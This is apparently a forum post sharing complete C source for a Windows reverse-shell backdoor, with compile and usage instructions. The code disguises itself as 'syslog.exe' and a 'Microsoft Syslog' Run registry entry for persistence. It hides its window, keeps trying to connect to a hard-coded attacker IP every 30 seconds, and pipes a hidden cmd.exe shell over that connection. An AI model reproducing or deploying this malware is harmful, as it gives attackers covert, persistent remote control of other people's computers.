- 论坛徽章:
- 0
|
- /*
- * Trivial Reverse cmd binder
- *
- * When LAN is full, ThreaT will walk on your network
- *
- ******************************
- compile : cl.exe binder2.c
- Usage
- _____
-
- binder2.exe (backdoor the current workstation & connect to default IP for bind a cmd shell on default Port)
- binder2.exe 123 (connect to default IP & bind a cmd shell on port 123)
- binder2.exe 123 10.0.0.1 (connect to 10.0.0.1 & bind a cmd shell on port 123)
- binder2 /kill (remove startkey of the registery)
-
- ******************************
- *
- * ThreaT@Ifrance.com
- * http://s0h.cc/~threat/
- *
- */
- #include <winsock2.h>;
- #pragma comment(lib, "ws2_32.lib")
- #pragma comment(lib, "advapi32.lib")
- #pragma comment(lib, "user32.lib")
- /* Win entry point (sa evite d'avoir une grosse console crade qui s'affiche ) */
- int WINAPI WinMain(
- HINSTANCE hInstance,
- HINSTANCE hPrevInstance,
- LPSTR lpszCmdLine,
- int nCmdShow
- )
- {
- WSADATA wd;
- HKEY MyKey;
- SOCKET sock;
- STARTUPINFO si;
- PROCESS_INFORMATION pi;
- struct sockaddr_in sin;
- char buffer[MAX_PATH], cmd[MAX_PATH], *p,
-
- //IP[16] = "81.91.66.30\x00"; // adresse IP par default (ici www.s0h.cc)
- IP[16] = "192.168.108.99\x00"; // adresse IP par default (ici www.s0h.cc)
- unsigned short port = 1234; // port par default
- /* backdoor le bordel */
- GetWindowsDirectory (buffer,MAX_PATH);
- lstrcat (buffer,"\\syslog.exe\x00");
- GetModuleFileName (NULL,cmd,MAX_PATH);
- CopyFile (cmd,buffer,FALSE);
- RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",(DWORD)NULL,KEY_ALL_ACCESS,&MyKey);
- RegSetValueEx (MyKey,"Microsoft Syslog",(DWORD)NULL,REG_SZ,( CONST BYTE * )&buffer,strlen (buffer));
- /* traite les eventuels arguments */
- p = strtok (lpszCmdLine," ");
- if (lpszCmdLine[0] == '/' || IsCharAlphaNumeric(lpszCmdLine[0]))
- {
- if (!lstrcmpi (lpszCmdLine,"/kill")) { RegDeleteValue(MyKey,"Microsoft Syslog"); ExitProcess (0);}
- else port = atoi (lpszCmdLine);
- if ( p = strtok (NULL," ") ) lstrcpyn (IP,p,16);
- }
- /* prepare la sauce */
- memset(&si, 0, sizeof(si));
- WSAStartup(MAKEWORD( 1, 1 ), &wd);
- // David Litchfield in his Blackhat talk said... (PJ)
- sock=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons(port);
- sin.sin_addr.s_addr = inet_addr(IP);
- /* tente une connexion toute les 30 secondes */
- while ( connect(sock, (struct sockaddr*)&sin, sizeof (sin)) ) Sleep (30000);
-
- /* balance le shell et ce casse */
- si.cb = sizeof(si);
- si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
- si.wShowWindow=SW_HIDE;
- si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
- CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi );
- return 0;
- }
- /*** no sousaille ma cacaille ***/
复制代码 |
|